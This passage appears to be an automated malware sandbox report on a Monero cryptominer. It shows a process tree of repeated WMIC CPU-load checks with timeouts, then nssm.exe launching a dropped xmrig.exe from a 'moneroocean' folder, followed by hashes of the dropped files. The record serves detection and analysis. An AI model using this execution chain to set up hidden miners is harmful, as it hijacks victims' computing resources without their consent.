C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:196
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3048
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4436
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3496
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3260
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1764
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3552
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4712
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2720
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2176
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2960
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:704
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4728
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3520
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1336
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4164
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4188
-
-
-
C:\Users\Admin\moneroocean\nssm.exeC:\Users\Admin\moneroocean\nssm.exe1⤵
- Executes dropped EXE
PID:4016 -
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3224
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
-
Filesize
1KB
MD5634cff068cbe7a1c419ed9752a833f37
SHA157b8be21cf878ab503fb68814239ce3ea5523279
SHA256a8d5bc824066c4582e3aeb8abbc437efa007c3a15c2e236444b64d0ddd73b7e6
SHA512c768aae40a52fae0e2fbda52876da139e34cfde5c201918e226512e900178a56cbd95ccdde4b2c8c39a8fcc8726634ed248571ee7b240c40e81e35c007d9030b
-
Filesize
1KB
MD540c8752be556abcbb2ae5a52bd3b74ce
SHA184ef987171ccd34ec1ac0aba73c32d517a9727e9
SHA2560c4e06b10c75cc120f9365eb1e78cadf08bf02b37978a289b30682d481b00e0e
SHA51288e3a8c4174608860b96ea911e68953f5d9e644ecff9547804ad51511d9069daad2da27c993e2ca0e52065d9874c30f74eab1414783dbf7411ed4ee11b3db362
-
Filesize
1KB
MD5f3fff6d588fa62f8dba2e1acc84e7d32
SHA16c47c5fcf89e3bf2ffccccbcf4ddab969bfd706a
SHA2561c7325d406d9f4e55ba594b6b118b412a28e7f167c57583efa3be5c945aca343
SHA5127d276661f924c38f3e2d47d12003026687f238beeef8f92196b7c4a0553a9dcb1b4c7f976abbc752f7d8ff21ddf291b713225d39909fb32f9d3b3f318a761d78
-
Filesize
1KB
MD527da7eefbd69d31dba24f9ebbcb62723
SHA196266cc0ef60e1b232977a5d26a6a3d8378d323a
SHA2560beb6effffd0c0c1a5a188169388745d4c05e43276fb7631f2b156a69e21adcf
SHA51217c84876970354aac616633b6d26533e28685a89914645cf8a7627ff4e5874e8b78a8356e6fdc6c24f47c30b34ff0c0470b8ff8835b446196f5ead5b5dd8ddc9
-
Filesize
1KB
MD58a453ceeaa0588a26af78a57f8a9a923
SHA19fedbde17ee4387514cf81e69bfba18aaca6f159
SHA256cbefdc97d1666fab10a38364e96e2b5c9bebeca8e5d405fef15d2443955c8fc0
SHA5126778b528087e15f22f9e2883ffc5394cb0e8594efd38e6e7c18647b446b2a8ce24cc37af4084a523dec09087fe2a53e64a5b6642970c54dc2d2e30c87e8de47a
-
Filesize
1KB
MD579cea70c2c0c70f3a53b5d8a215876ac
SHA141fcb1f31995f43929fe5d3cbc4baaa7b70080e7
SHA256d4b62acdf8fbc0b333799d8cb96ed28469ad5242f3b2c39f9393633375221c0f
SHA5125092022b3a2283f34eab8400db347e6a3841acd99ff868eae10792c13bb84c2d0aed85fc37b20794e54cd64cbb34a94c7db2f04536ca69deca7613b0435cb0a5
-
Filesize
1KB
MD5e99c95a904defa68a8b5d3670408e0a2
SHA12d71d401fe39ed68a2dd9448b2539f8b4fc89b89
SHA2567433c0544a087c428b7c70b31dfe1596a709cb54346af95d95e8609777c4cbee
SHA51260d86136e50e673987445a4648884cff7af4f3733aeac747bbad1362eba3ff62e37ec805e6ec55d19ee1ee374854a36c84282c001842cbb60cfc9f2a8f71bda6
-
Filesize
1KB
MD5fd4e12ddea60a965e1d6ae9485fc1494
SHA17fb96ea5a1aaf954180648813e48081cb38832a0
SHA2567a77e5502afd9e92364d0ae5481c655703bec3b3d904ff968a865d612a2d9f3c
SHA5122e7a4c679c9cc8d034ff17edff51b4b9c77ae337d3a6cba347327862c9d3657c8671360fd0c88c96d9bbadb4d38c463f414ecd6e997d5edaadaf9c9405ba5595
-
Filesize
1KB
MD5cc802ea4b5c214937e5b10ebe2a74d74
SHA1d24964cd0fe141bf2a413394cdaa78be8eabce1b
SHA2564f4078ef150d6a77c6766bae8cbe99da798636c4f0502105b6a50b681537960e
SHA512dd3ffc77d85805496ee8b99c08368d8332bec948af48d1624e113d1923dfadfb190b57d0503682d83d9b4d49bd50e3c9dbc724f23c038cb17ae1fba016e0f166
-
Filesize
1KB
MD513ba7b835e988e971545f4452aa7dd93
SHA11804255c177b774d0aa5013d4f3f226a1f76165b
SHA256379687ce032e48c1f7331fddb907cd2fa6c168a5d20d04798a38b45d91dffeee
SHA51209eb4f1914f945d69aa2556a3287418e1225d5818054a899fcdadbdf85d99427991a647f4fc20c2861bc6c77dc7d424b784208e248b8b25a382523c147bc4af6
-
Filesize
1KB
MD5f71915c7fcb7dd7ff63a42201f5640f4
SHA1e955f5d309205374f05ccb814640360c8ffc0a27
SHA2567cd68b179bd4b9c800dbf5ef10757f8b5ea4c0a903b5cd1c47872f6f7af3e996
SHA5128c994b5dd4a0411187aa437695ac558e5d7f1861caae65d935f085bbbfa181b410f19cf6ee73ee3a45c377196483522018efb0e1aed4e4989162a2a717030eda
-
Filesize
1KB
MD55bb2b106e9c5589dffa60812fb7be624
SHA179d5425f8ffc53a480f6b5ef05af1fe4bead2f57
SHA2565fd9231a29d7c361959680496ee7ec599c65075103fe22a5f0baebd3cee0b7c7
SHA51299c2890fe77478cbd5f97cb2c61d6ac3b852e8c958300e2e1c068b82dc864c4e1f132a5f7602bef0fd618ee51b0e6b3386024cc27ee5e8ad8509c5a6080b8414
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
14KB
MD5623f6006f683afdb4b7406e3a4ec35bf
SHA1f63f03d7338317224726eba368f1a045fa2142d7
SHA25621d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b
SHA512df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab
-
Filesize
2KB
MD5d4f8a13f8c90e2b3b2e7d30a553df39c
SHA15c5303ef682ffcd31e57d1abd900ba5b637d51e4
SHA256f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a
SHA51268b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd
-
Filesize
2KB
MD5c9ef9c214996db3d88f571226910c5d5
SHA1420ba30247b1e09f706557a7704a1ebee5d3165c
SHA256fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1
SHA512de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d
-
Filesize
2KB
MD567099c11aee7715195c370daf8713cf6
SHA14ffe1365749d5828225c3c91efbf37524f6b4574
SHA25691a469ac7711ea2098eeed42b648548c51a109b83fd54fac53b643a4d9f127c8
SHA5124a4351749e0a6dfb211196af3eb892486c3df501ec6923cad96c16605e40cca3febaf908ece586e36a55b2945141140c18c0359badd0d609999aed747221145b
-
Filesize
2KB
MD5e3b9b22db047eeacf220bc3b9c7f4eb2
SHA13b32a79bfde5b7860537e969a65c9ce854794efb
SHA2565ef97aec367578d4ef6954f09f3ad4db6bb92d74dd08db7452c9e7bda32327d4
SHA5120f9f534bcf09077b826fee22bfcdb24cdef734ab10f903687107b28b28c2e45cfa72655ae5716561a4b2aade574595a373f27df380792aa7bec3281056ab7d27
-
Filesize
2KB
MD5a95317d05f94f08d17bd77cda0988c08
SHA190eee1a7ac3be0828fba575b1c9632efc4842564
SHA256ebe2ea08e88891c1195ac7d3a425582ed3bce8d5c3f20bfda043352cf3626a00
SHA512958795d47d5351b82406b8d4444b483025aa2b8e4a9505e1aa49b7674f1fb0c10fde40325d1cf706f3c3303368777b1a7d9af919893416bb367f7a8d3286afbf
-
Filesize
2KB
MD512d25779840bba866f4d71347a07eab7
SHA1ac6c036155c882c695d1cdcb2b654de79b9e7bfa
SHA2565c75ad14dc7bb90d38fc1812a02da90332708612e95681ba2cd0effc740f062f
SHA5125973a1b1bbafb7bdcae7ac93610c63ae34f48aa42bf174441171041d25e23db60b80fba1f79faedafca27f11037e07881975c3f8ace2a3091c06cab8b9ca6dfc
-
Filesize
2KB
MD588508a886b6fa68d53ea89c3f39d40cc
SHA11e85cf0db0b30289bb737843665d459013396029
SHA256f468ef658728172768c1253db8d93eafc21bfd72d8bbdf3676e9f40e8e4f99b5
SHA512deae44719d1d59709d99408d625aaaf9858aedb18d553b080531a3c2d728b59629c2fbed7b7dbb252e427918264905855858b1020ef588a85f359ae0aa759761
-
Filesize
360KB
MD51136efb1a46d1f2d508162387f30dc4d
SHA1f280858dcfefabc1a9a006a57f6b266a5d1fde8e
SHA256eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848
SHA51243b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5
-
Filesize
9.0MB
MD59ee2c39700819e5daab85785cac24ae1
SHA19b5156697983b2bdbc4fff0607fadbfda30c9b3b
SHA256e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3
SHA51247d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649
-
Filesize
135KB
MD57ad31e7d91cc3e805dbc8f0615f713c1
SHA19f3801749a0a68ca733f5250a994dea23271d5c3
SHA2565b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201
SHA512d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260
-
Filesize
3.5MB
MD5640be21102a295874403dc35b85d09eb
SHA1e8f02b3b8c0afcdd435a7595ad21889e8a1ab0e4
SHA256ed33e294d53a50a1778ddb7dca83032e9462127fce6344de2e5d6be1cd01e64b
SHA512ece0dfe12624d5892b94d0da437848d71b16f7c57c427f0b6c6baf757b9744f9e3959f1f80889ffefcb67a755d8bd7a7a63328a29ac9c657ba04bbdca3fea83e